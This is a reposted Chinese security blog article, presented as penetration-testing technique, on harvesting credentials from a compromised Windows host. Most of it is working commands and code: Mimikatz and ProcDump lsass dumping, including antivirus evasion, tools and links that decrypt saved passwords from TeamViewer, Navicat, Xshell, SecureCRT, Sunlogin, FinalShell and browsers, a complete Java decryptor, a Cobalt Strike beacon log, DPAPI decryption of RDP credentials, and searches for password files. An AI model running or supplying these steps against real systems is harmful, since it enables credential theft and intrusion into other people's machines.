8、登录凭证获取技巧

admin 2022年5月1日14:17:34评论127 views字数 6805阅读22分41秒阅读模式

8、登录凭证获取技巧

8.1、前言

在渗透测试中,当我们拿下一台windows主机后,通常要对主机上的一些密码做信息收集,以便后续渗透使用,本文介绍了几种windows下常见的收集密码的方式。

8.2、windows主机密码抓取

8.2.1、Mimikatz

windows密码抓取神器,从windows系统进程lsass.exe中抓取明文密码。

  • 下载地址:

https://github.com/gentilkiwi/Mimikatz
  • 使用说明:管理员权限运行Mimikatz.exe,执行下面的命令:

privilege::debug   #提取权限
log #记录日志内容
sekurlsa::logonPasswords #抓取密码

Mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

8、登录凭证获取技巧

8.2.2、ProcDump + Mimikatz

如果主机上装了杀毒软件,开了防火墙,例如:360、火绒之类的话。Mimikatz就会被检测为病毒,无法使用。由于Mimikatz是从lsass.exe中提取明文密码的,当无法在目标机器上运行Mimikatz时,我们可使用ProcDump工具将系统的lsass.exe进程进行转储,导出dmp文件,拖回到本地后,在本地再利用Mimikatz进行读取。ProcDump本身是作为一个正常的运维辅助工具使用,并不带毒,所以不会被杀软查杀。

  • 下载地址:

https://docs.microsoft.com/zh-cn/sysinternals/downloads/ProcDump
  • 使用方法:

# 将工具拷贝到目标机器上执行如下命令(需要管理员权限)
ProcDump.exe -accepteula -ma lsass.exe lsass.dmp
Mimikatz# sekurlsa::minidump lsass.dmp
Mimikatz# sekurlsa::logonPasswords full

8、登录凭证获取技巧

8.2.3、PwDump7

8、登录凭证获取技巧

使用该工具获取hash值之后,可到cmd5.com进行解密。

8、登录凭证获取技巧

8.2.4、Getpass

  • 下载地址:

https://raw.githubusercontent.com/k8gege/K8tools/master/GetPassword_x64.rar

8、登录凭证获取技巧

8.3、第三方运维工具密码抓取

8.3.1、TeamViewer

  • 下载地址:

https://github.com/uknowsec/SharpDecryptPwd/raw/master/SharpDecryptPwd.exe
  • 使用方法:

SharpDecryptPwd.exe -TeamViewer

8、登录凭证获取技巧

8.3.2、Navicat

  • 下载地址:

https://github.com/uknowsec/SharpDecryptPwd/raw/master/SharpDecryptPwd.exe
  • 使用方法:

SharpDecryptPwd.exe -NavicatCrypto

8、登录凭证获取技巧

8.3.3、xshell

xshell默认的sessions会话保存地址是:

xshell5:
%userprofile%DocumentsNetSarangXshellSessions
xshell6:
%userprofile%DocumentsNetSarang Computer6XshellSessions
  • 下载地址1:

https://github.com/uknowsec/SharpDecryptPwd/raw/master/SharpDecryptPwd.exe
  • 使用方法1:

先执行 `whoami /user` 将用户名和sid保存下来,然后再使用下面的命令:
SharpDecryptPwd.exe -Xmangager -p SessionPath -s username+sid

8、登录凭证获取技巧

  • 下载地址2:

https://github.com/dzxs/Xdecrypt
  • 使用方法2:

先执行 `whoami /user` 将用户名和sid保存下来,然后再使用下面的命令:
python Xdecrypt.py -p "C:UsersAdminDocumentsNetSarang Computer6XshellSessions" -s 你的用户sid

8、登录凭证获取技巧

8.3.4、securecrt

  • 下载地址:

https://github.com/hustlibraco/Moye/blob/master/SecureCRTDecrypt.py
  • 使用方法:

解密secureCRT保存的密码
1. 找到密码保存位置,每台服务器一个ini文件,windows系统位于
* 用户名AppDataRoamingVanDykeConfigSessions (安装版)
*SecureCRTSecureFX_hh_x86_7.0.0.326DataSettingsConfigSessions (绿色移动版)
2. 执行脚本,python SecureCRTDecrypt.py [filename...]

8、登录凭证获取技巧

8.3.5、向日葵

1、读取向日葵程序路径,可以使用以下命令来读取:

tasklist /svc #查找向日葵程序PID
wmic process where
processid=4444 get processid,executablepath,name #processid为向日葵的PID

2、读取向日葵配置文件:

type  D:向日葵SunloginClientconfig.ini

主要关注配置中两个参数:

1.fastcode为本机识别码

2.encry_pwd为本机验证码但被加密

可以通过https://github.com/wafinfo/Sunflower_get_Password来解密encry_pwd。

8.3.6、FinalShell

finalshell的配置文件存放在finalshell的安装路径下的conn文件,我们只需要找到conn下的json文件中的password字段值即可,

8、登录凭证获取技巧

使用以下脚本对获取的字段值进行解密:

import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.util.Base64;
import java.util.Random;

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;

public class FinalShellDecodePass {
public static void main(String[] args)throws Exception {
System.out.println(decodePass(args[0]));
}
public static byte[] desDecode(byte[] data, byte[] head) throws Exception {
SecureRandom sr = new SecureRandom();
DESKeySpec dks = new DESKeySpec(head);
SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
SecretKey securekey = keyFactory.generateSecret(dks);
Cipher cipher = Cipher.getInstance("DES");
cipher.init(2, securekey, sr);
return cipher.doFinal(data);
}
public static String decodePass(String data) throws Exception {
if (data == null) {
return null;
} else {
String rs = "";
byte[] buf = Base64.getDecoder().decode(data);
byte[] head = new byte[8];
System.arraycopy(buf, 0, head, 0, head.length);
byte[] d = new byte[buf.length - head.length];
System.arraycopy(buf, head.length, d, 0, d.length);
byte[] bt = desDecode(d, ranDomKey(head));
rs = new String(bt);

return rs;
}
}
static byte[] ranDomKey(byte[] head) {
long ks = 3680984568597093857L / (long)(new Random((long)head[5])).nextInt(127);
Random random = new Random(ks);
int t = head[0];

for(int i = 0; i < t; ++i) {
random.nextLong();
}

long n = random.nextLong();
Random r2 = new Random(n);
long[] ld = new long[]{(long)head[4], r2.nextLong(), (long)head[7], (long)head[3], r2.nextLong(), (long)head[1], random.nextLong(), (long)head[2]};
ByteArrayOutputStream bos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(bos);
long[] var15 = ld;
int var14 = ld.length;

for(int var13 = 0; var13 < var14; ++var13) {
long l = var15[var13];

try {
dos.writeLong(l);
} catch (IOException var18) {
var18.printStackTrace();
}
}

try {
dos.close();
} catch (IOException var17) {
var17.printStackTrace();
}

byte[] keyData = bos.toByteArray();
keyData = md5(keyData);
return keyData;
}
public static byte[] md5(byte[] data) {
String ret = null;
byte[] res=null;

try {
MessageDigest m;
m = MessageDigest.getInstance("MD5");
m.update(data, 0, data.length);
res=m.digest();
ret = new BigInteger(1, res).toString(16);
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
return res;
}
}

使用以下命令编译文件:

javac FinalShellDecodePass.java

会生成我们用来解密的FinalShellDecodePass.class文件,再使用以下命令对字段值解密:

java FinalShellDecodePass xxxxx

8、登录凭证获取技巧

8.4、浏览器密码抓取

8.4.1、LaZagne

  • 下载地址:

https://github.com/ethicalhackeragnidhra/LaZagne/archive/2.3.1.zip
  • 使用方法:

laZagne.exe browsers

8、登录凭证获取技巧

8.4.2、BrowserPasswordDump

  • 下载地址:

https://files1.majorgeeks.com/020c4877362530fccadf006a858f56ee9637177d/covertops/BrowserPasswordDump.zip
  • 使用方法:

点击setup安装完成以后,即可提取出单文件来运行使用。

8、登录凭证获取技巧

8.5、远程桌面连接密码抓取

查看是否有登录凭证:

cmdkey /list

8.5.1、netpass

  • 下载地址:

https://www.nirsoft.net/toolsdownload/netpass-x64.zip
  • 使用说明:

使用管理员权限运行即可

8、登录凭证获取技巧

8.5.2、离线解密 RDP 保存的密码

通过查看目标注册表发现了历史 RDP 的记录:

reg query "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /s

8、登录凭证获取技巧

发现存在 RDP 密码文件:

beacon> shell dir /a %userprofile%AppDataLocalMicrosoftCredentials*
[*] Tasked beacon to run: dir /a %userprofile%AppDataLocalMicrosoftCredentials*
[+] host called home, sent: 89 bytes
[+] received output:
驱动器 C 中的卷没有标签。
卷的序列号是 C09B-63AC
C:UsersAdministratorAppDataLocalMicrosoftCredentials 的目录
2017-08-31 11:28 <DIR> .
2017-08-31 11:28 <DIR> ..
2017-08-31 11:28 482 242067442375049DD8C15BA0948FA81A
2017-08-31 11:08 482 66F17973F3B68674CB1837A732B2022A
2 个文件 964 字节
2 个目录 19,997,614,080 可用字节

通过把两个文件下载到本地离线进行解密:

8、登录凭证获取技巧

然后使用:procdump.exe(注意免杀问题) 把 lsass.dmp 抓下来

procdump.exe -accepteula -ma lsass.exe lsass.dmp

8、登录凭证获取技巧

之后通过 Mimikatz 进行获取 guidMasterKey 值:(后面会用到)

mimikatz # privilege::debug
mimikatz # dpapi::cred /in:C:66F17973F3B686XXXXXXXXXXXXXXXXXX

8、登录凭证获取技巧

本地使用命令加载 dmp 并获取对应得 MasterKey 值:

mimikatz# sekurlsa::minidump lsass.dmp //将lsaa.dmp导入
mimikatz# sekurlsa::dpapi

8、登录凭证获取技巧

最后使用 Masterkey 解密凭证得到明文密码:

dpapi::cred /in:C:66F17973F3B6XXXXXXXXXXXXXX /masterkey:9a94787450391e74a94025c5f148a7c1d78d5e3b9d0588864a86609065c1d36XXXXXXXXXXXXXXXXXXXXXXX

8、登录凭证获取技巧

8.6、低权限下搜集当前机器各类密码文件

8.6.1、dir收集各类密码配置文件

一般密码文件或者配置文件都是:

pass.*,config.*,username.*,password.*

我们就可以使用 dir命令来进行文件查找,建议不要直接从 c盘根目录找,那样文件会很多,建议从 User目录下:

dir /b /s user.*,pass.*,config.*,username.*,password.*

8.6.2、for 收集各类密码配置文件

还可以通过 for 循环来查找,例如查找匹配 pass 文件:

for /r c: %i in (pass.*) do @echo %i

8.6.3、findstr 查找文件的某个字段

上面两条命令只是查找某个文件,那我们想要查找一个文件里有没有 userpass 等字段内容,就可以使用这条命令:

findstr /c:"sa" /c:"root" /si *.txt

8.7、总结

1、上述描述的抓取密码的方式,大部分需使用管理员权限才能抓取。

2、windows密码仅在win2008及以下可使用,win10server2012及以上默认不保存明文密码,无法使用工具抓取。


该内容转载自网络,更多内容请点击“阅读原文”

8、登录凭证获取技巧



原文始发于微信公众号(web安全工具库):8、登录凭证获取技巧

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月1日14:17:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   8、登录凭证获取技巧https://cn-sec.com/archives/965479.html

发表评论

匿名网友 填写信息